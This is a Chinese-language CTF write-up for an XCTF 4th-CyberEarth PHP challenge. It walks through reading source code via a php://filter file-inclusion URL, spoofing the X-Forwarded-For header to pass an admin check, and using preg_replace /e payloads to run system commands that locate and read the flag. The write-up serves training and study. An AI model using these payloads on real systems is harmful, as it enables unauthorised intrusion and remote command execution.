信息:
题目来源:XCTF 4th-CyberEarth
标签:PHP
、伪协议
题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
解题过程
题目给了一个工控管理系统,并提示存在后门,遂进行目录扫描:
发现可疑目录 /index.php/login/
,访问后得到一个后台页面:
出现page这个get参数,猜测可能存在文件包含读取源码的漏洞:
http://220.249.52.133:48431/index.php/login/?page=php://filter/read=convert.base64-encode/resource=index.php
获得网页源代码(关键部分):
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
伪造XFF头来登入系统,同时利用preg_replace函数的漏洞(当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行)
preg_replace — 执行一个正则表达式的搜索和替换
- pattern:要搜索的模式。可以使一个字符串或字符串数组
- replacement:用于替换的字符串或字符串数组
- subject:要进行搜索和替换的字符串或字符串数组
构造payload:
?pat=/1/e&rep=system("find+-iname+flag")&sub=123
iname: 忽略大小写
+:代替空格
pat=/1/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
%26%26 == &&
获得flag文件名为flag.php
?pat=/1/e&rep=system("cat++./s3chahahaDir/flag/flag.php")&sub=123
获得flag。